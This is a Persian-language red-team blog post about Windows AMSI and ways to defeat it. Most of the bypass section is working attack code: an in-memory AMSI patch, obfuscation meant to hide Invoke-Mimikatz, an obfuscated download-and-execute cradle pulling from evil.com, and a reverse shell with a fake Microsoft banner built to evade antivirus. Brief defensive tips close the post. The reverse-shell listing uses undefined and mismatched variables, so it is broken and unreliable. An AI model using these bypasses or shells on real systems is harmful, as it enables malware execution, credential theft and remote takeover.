VulnCity

AMSI؛ دیوار شیشه‌ای ویندوز

نویسنده: یاسین عابدینی · دسته: RedTeam · تاریخ انتشار: ۱۴۰۵/۲/۱۱

AMSI چیست؟ راهنمای جامع از صفر تا صد

۱. مقدمه

AMSI (Antivirus Scan Interface) یک رابط امنیتی در ویندوز است که از ویندوز ۱۰ به بعد معرفی شده و به اجزای مختلف سیستم‌عامل اجازه می‌دهد قبل از اجرای کدها، محتوای آن‌ها را به آنتی‌ویروس (مانند Windows Defender یا نرم‌افزارهای شخص ثالث) ارسال کنند تا بررسی شوند.

۱.۱ چرا AMSI ایجاد شد؟

قبل از AMSI، ابزارهایی مانند PowerShell می‌توانستند کدهای مخرب را بدون هیچ بررسی امنیتی اجرا کنند. AMSI این شکاف را پر کرد و امکان نظارت بر موارد زیر را فراهم کرد:

  • PowerShell (نسخه ۵ و بالاتر)
  • VBScript
  • JScript
  • .NET Assemblies
  • Office Macros

۲. معماری AMSI

┌─────────────────┐
│  PowerShell     │
│  Script/Command │
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│   AMSI.dll      │  ← رابط AMSI
│ AmsiScanBuffer()│
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│  AV Engine      │  ← Defender یا AV دیگر
│  (Scan & Block) │
└─────────────────┘

۲.۱ تابع کلیدی: AmsiScanBuffer()

این تابع محتوای کد را قبل از اجرا اسکن می‌کند:

HRESULT AmsiScanBuffer(
  HAMSICONTEXT amsiContext,
  PVOID        buffer,      // محتوای کد
  ULONG        length,      // طول بافر
  LPCWSTR      contentName,
  HAMSISESSION amsiSession,
  AMSI_RESULT  *result      // نتیجه: Clean یا Malware
);

۳. تکنیک‌های دور زدن AMSI

۳.۱ تکنیک #۱ – بازگشت به نسخه قدیمی PowerShell

توضیح: PowerShell نسخه ۲ فاقد AMSI است.

# بررسی نسخه فعلی
PS C:\> $PSVersionTable.PSVersion

Major  Minor  Patch
-----  -----  -----
5      1      22621

# اجرای PowerShell v2 (بدون AMSI)
powershell.exe -v 2

PS v2> Import-Module Invoke-Mimikatz
# هیچ رهگیری AMSI صورت نمی‌گیرد

راه مقابله:

# غیرفعال‌سازی PowerShell v2
Disable-WindowsOptionalFeature -FeatureName MicrosoftWindowsPowerShellV2Root -Online

همچنین فعال‌سازی Constrained Language Mode برای محدود کردن دستورات خطرناک.

۳.۲ تکنیک #۲ – مبهم‌سازی رشته‌ها و سینتکس

هدف: شکستن امضاهای استاتیک آنتی‌ویروس.

مثال توضیح
i'e'x pwd جدا کردن "iex" با کوتیشن‌های تکی
i"e"x pwd استفاده از کوتیشن‌های دوتایی
i`e`x pwd استفاده از backtick
invoke-mim"ik"a"t"z شکستن کلمه کلیدی مخرب با زیررشته‌های کوتیشن‌دار

مثال عملی:

# به جای:
Invoke-Mimikatz

# از این استفاده کنید:
&('In'+'voke-Mim'+'ikatz')

نکته: این روش در لاگ‌های Transcript همچنان قابل شناسایی است.

۳.۳ تکنیک #۳ – پچ کردن AMSI در حافظه

مکانیزم: تغییر رفتار AmsiScanBuffer() در حافظه به گونه‌ای که همیشه نتیجه "Clean" برگرداند.

# بارگذاری DLL سفارشی که پارامتر 'length' را به ۱ تغییر می‌دهد
[Reflection.Assembly]::LoadFile("D:\VulncityTool\Defence-Evasion\PS\ASBBypass.dll") | Out-Null

[Amsi]::Bypass()

# حالا می‌توان Mimikatz را بدون هشدار اجرا کرد
Invoke-Mimikatz

نسخه ساده‌تر (بدون DLL):

$a = [Ref].Assembly.GetTypes()
ForEach($b in $a) {
    if ($b.Name -like "*iUtils") {
        $c = $b
    }
}
$d = $c.GetFields('NonPublic,Static')
ForEach($e in $d) {
    if ($e.Name -like "*Context") {
        $e.SetValue($null, [IntPtr]0)
    }
}

۳.۴ تکنیک #۴ – بازنویسی Payload با amsi.fail

سرویس amsi.fail: یک ابزار آنلاین که کدهای محبوب (مثلاً از revshells.com) را به نسخه‌های AMSI-safe بازنویسی می‌کند.

مثال:

# ورودی (شناسایی می‌شود):
IEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')

# خروجی amsi.fail (ممکن است شناسایی نشود):
$wc = [System.Net.WebClient]::new()
$data = $wc."Down`loadStr`ing"('http://evil.com/payload.ps1')
& ([scriptblock]::Create($data))

۳.۵ تکنیک #۵ – Reverse Shell کاملاً غیرقابل شناسایی

Set-Alias -Name K -Value Out-String
Set-Alias -Name NSS -Value iex

$N = New-Object "S`y`stem.Net.Sockets.T`CPCl`ient"($args[0],$args[1]);
$OO = $N.GetStream();

[byte[]]$R = 0..(32768*2-1)|%{0};  # مبهم‌سازی اندازه بافر

# بنر جعلی مایکروسافت برای فریب هیوریستیک‌ها
$R = [Text.Encoding]::UTF8.GetBytes("(c) Microsoft Corporation. All rights reserved.`n`n")
$OO.Write($R,0,$R.Length)

$R = [Text.Encoding]::ASCII.GetBytes((Get-Location).Path + '>');
$OO.Write($R,0,$R.Length)

[byte[]]$NEnt = 0..(10000+55535)|%{0};

while(($UL = $TY.Read($ULnc,0,$ULnc.Length)) -ne 0){
    $V = [Text.Encoding]::ASCII.GetString($ULnc,0,$UL);
    $UL = (VLL $V 2>&1 | K );  # اجرای دستورات از طریق alias
    $C = $UL + (pwd).Path + '> ';
    $CI = [Text.Encoding]::ASCII.GetBytes($T);
    $TY.Write($CI,0,$CI.Length); 
    $TY.Flush();
}
$N.Close()

نکات کلیدی:

  • 0..(32768*2-1) → دور زدن تحلیل استاتیک
  • بنر جعلی مایکروسافت → فریب هیوریستیک‌های AV
  • استفاده از alias برای cmdlet‌های خطرناک (VLL = iex)
  • مبهم‌سازی نام کلاس‌ها با backtick: S`y`stem.Net.Sockets

۴. راه‌های دفاعی

۴.۱ برای مدیران سیستم

  1. حذف PowerShell v2
  2. فعال‌سازی Constrained Language Mode
  3. فعال‌سازی Script Block Logging
  4. استفاده از AppLocker/WDAC
  5. نظارت بر لاگ‌های Event ID 4104 (PowerShell execution)

۴.۲ برای توسعه‌دهندگان امنیتی

# تشخیص تلاش برای پچ AMSI
$amsiContext = [Ref].Assembly.GetTypes() | Where-Object {$_.Name -like "*iUtils"}
if ($amsiContext.GetFields('NonPublic,Static').GetValue($null) -eq [IntPtr]0) {
    Write-Warning "AMSI Bypass Detected!"
}

۵. نتیجه‌گیری

AMSI یک لایه دفاعی قدرتمند است اما نه غیرقابل نفوذ. تکنیک‌های فوق نشان می‌دهند که:

  • دفاع عمقی (Defense in Depth) ضروری است
  • لاگ‌گیری مهم‌تر از جلوگیری است
  • به‌روزرسانی مداوم امضاهای AV حیاتی است

توصیه نهایی: هیچ راه‌حل امنیتی واحدی کافی نیست؛ ترکیب AMSI + EDR + Network Monitoring + User Training بهترین رویکرد است.